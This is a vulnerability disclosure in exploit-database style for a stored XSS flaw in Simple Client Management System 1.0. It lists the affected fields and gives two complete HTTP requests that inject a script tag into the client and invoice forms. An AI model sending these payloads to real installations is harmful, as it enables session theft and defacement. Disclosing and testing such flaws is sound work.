Simple Client Management System 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)

# Exploit Title: Simple Client Management System 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
# Exploit Author: Sentinal920
# Date: 5-11-2021 
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip
# Version: 1.0
# Tested on: Kali Linux
# Vulnerable page: client,invoice
# Vulnerable Parameters: "lastname", "remarks"

Technical description:
A stored XSS vulnerability exists in the Simple Client Management
System. An attacker can leverage this vulnerability in order to run
javascript on the web server surfers behalf, which can lead to cookie
stealing, defacement and more.

Steps to exploit:
1) Navigate to http://localhost/cms/admin/?page=client
2) Click on add new client
3) Insert your payload in the "lastname" parameter or the "description" parameter
4) Click save

Proof of concept (Poc):
The following payload will allow you to run the javascript -
<script>alert(1)</script>



1) XSS POC in Add New Client
-----------------------------

POST /cms/classes/Master.php?f=save_client HTTP/1.1
Host: localhost
Content-Length: 1026
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryIBW1SfSFiXMKK7Nt
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/?page=client/manage_client
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn
Connection: close


------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="lastname"

<script>alert(1)</script>
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="firstname"

anything
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="middlename"

anything
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="gender"

Male
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="dob"

2021-11-03
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="contact"

xxxxxxxxxx
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="address"

xxxxxx
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="email"
xxxx@xxx.com
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryIBW1SfSFiXMKK7Nt--



2) XSS POC in Add New Invoice
-----------------------------

POST /cms/classes/Master.php?f=save_invoice HTTP/1.1
Host: localhost
Content-Length: 1032
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryEk0iOWhhoA0lApXo
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/?page=invoice/manage_invoice
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn
Connection: close

------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="client_id"

1
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="service_id[]"

1
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="price[]"

250
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="discount_perc"

0
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="discount"

0
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="tax_perc"

0
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="tax"

0
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="total_amount"

250
------WebKitFormBoundaryEk0iOWhhoA0lApXo
Content-Disposition: form-data; name="remarks"

<script>alert(1)</script>
------WebKitFormBoundaryEk0iOWhhoA0lApXo--